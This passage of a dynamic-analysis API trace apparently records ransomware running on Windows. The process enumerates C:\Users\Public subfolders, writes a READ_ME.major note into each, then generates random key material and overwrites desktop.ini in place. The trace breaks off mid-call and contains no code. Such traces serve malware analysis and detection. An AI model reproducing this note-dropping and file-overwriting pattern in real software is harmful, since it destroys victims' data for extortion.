nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.911] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.912] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0143.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.912] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] GetLastError () returned 0xb7 [0143.912] SetLastError (dwErrCode=0xb7) [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0143.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.913] GetLastError () returned 0xb7 [0143.913] SetLastError (dwErrCode=0xb7) [0143.913] GetLastError () returned 0xb7 [0143.913] SetLastError (dwErrCode=0xb7) [0143.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0143.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.913] GetLastError () returned 0xb7 [0143.913] SetLastError (dwErrCode=0xb7) [0143.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0143.913] CreateFileW (lpFileName="\\Users\\Public\\Documents\\READ_ME.major" (normalized: "c:\\users\\public\\documents\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0143.913] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.914] CloseHandle (hObject=0x594) returned 1 [0143.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0143.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0143.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0143.914] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0143.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.914] GetLastError () returned 0xb7 [0143.914] SetLastError (dwErrCode=0xb7) [0143.914] GetLastError () returned 0xb7 [0143.915] SetLastError (dwErrCode=0xb7) [0143.915] GetLastError () returned 0xb7 [0143.915] SetLastError (dwErrCode=0xb7) [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eba0 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0143.915] GetLastError () returned 0xb7 [0143.915] SetLastError (dwErrCode=0xb7) [0143.915] GetLastError () returned 0xb7 [0143.915] SetLastError (dwErrCode=0xb7) [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0143.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.915] GetLastError () returned 0xb7 [0143.915] SetLastError (dwErrCode=0xb7) [0143.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0143.915] CreateFileW (lpFileName="\\Users\\Public\\Downloads\\READ_ME.major" (normalized: "c:\\users\\public\\downloads\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.915] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.916] CloseHandle (hObject=0x594) returned 1 [0143.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0143.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0143.917] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0143.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.917] GetLastError () returned 0x0 [0143.917] SetLastError (dwErrCode=0x0) [0143.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0143.917] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\READ_ME.major" (normalized: "c:\\users\\public\\libraries\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0143.931] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.932] CloseHandle (hObject=0x594) returned 1 [0143.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0143.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0143.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.932] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Music", cAlternateFileName="")) returned 1 [0143.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.932] GetLastError () returned 0x0 [0143.932] SetLastError (dwErrCode=0x0) [0143.932] GetLastError () returned 0x0 [0143.932] SetLastError (dwErrCode=0x0) [0143.932] GetLastError () returned 0x0 [0143.932] SetLastError (dwErrCode=0x0) [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0143.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.932] GetLastError () returned 0x0 [0143.933] SetLastError (dwErrCode=0x0) [0143.933] GetLastError () returned 0x0 [0143.933] SetLastError (dwErrCode=0x0) [0143.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0143.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.933] GetLastError () returned 0x0 [0143.933] SetLastError (dwErrCode=0x0) [0143.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0143.933] CreateFileW (lpFileName="\\Users\\Public\\Music\\READ_ME.major" (normalized: "c:\\users\\public\\music\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0143.933] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.934] CloseHandle (hObject=0x594) returned 1 [0143.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0143.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0143.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0143.934] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Pictures", cAlternateFileName="")) returned 1 [0143.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.934] GetLastError () returned 0x0 [0143.934] SetLastError (dwErrCode=0x0) [0143.934] GetLastError () returned 0x0 [0143.934] SetLastError (dwErrCode=0x0) [0143.934] GetLastError () returned 0x0 [0143.934] SetLastError (dwErrCode=0x0) [0143.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.935] GetLastError () returned 0x0 [0143.935] SetLastError (dwErrCode=0x0) [0143.935] GetLastError () returned 0x0 [0143.935] SetLastError (dwErrCode=0x0) [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0143.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.935] GetLastError () returned 0x0 [0143.935] SetLastError (dwErrCode=0x0) [0143.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0143.935] CreateFileW (lpFileName="\\Users\\Public\\Pictures\\READ_ME.major" (normalized: "c:\\users\\public\\pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.935] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.936] CloseHandle (hObject=0x594) returned 1 [0143.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0143.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0143.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0143.936] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc648e59, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc648e59, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc648e59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.936] GetLastError () returned 0x0 [0143.936] SetLastError (dwErrCode=0x0) [0143.936] GetLastError () returned 0x0 [0143.936] SetLastError (dwErrCode=0x0) [0143.936] GetLastError () returned 0x0 [0143.936] SetLastError (dwErrCode=0x0) [0143.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.937] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Videos", cAlternateFileName="")) returned 1 [0143.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58f038 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0143.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0143.937] GetLastError () returned 0x0 [0143.937] SetLastError (dwErrCode=0x0) [0143.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0143.937] CreateFileW (lpFileName="\\Users\\Public\\Videos\\READ_ME.major" (normalized: "c:\\users\\public\\videos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0143.938] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.939] CloseHandle (hObject=0x594) returned 1 [0143.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0143.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0143.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f038 | out: hHeap=0x570000) returned 1 [0143.939] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Videos", cAlternateFileName="")) returned 0 [0143.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.939] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.939] SetFileAttributesW (lpFileName="\\Users\\Public\\desktop.ini", dwFileAttributes=0x80) returned 1 [0143.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0143.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.940] CreateFileW (lpFileName="\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.940] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=174) returned 1 [0143.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x57e1d0 [0143.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x2e40f20 [0143.940] ReadFile (in: hFile=0x594, lpBuffer=0x57e1d0, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesRead=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0143.941] SetFilePointer (in: hFile=0x594, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.941] WriteFile (in: hFile=0x594, lpBuffer=0x2e40f20*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0143.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0143.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0143.941] SetFilePointer (in: hFile=0x594, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 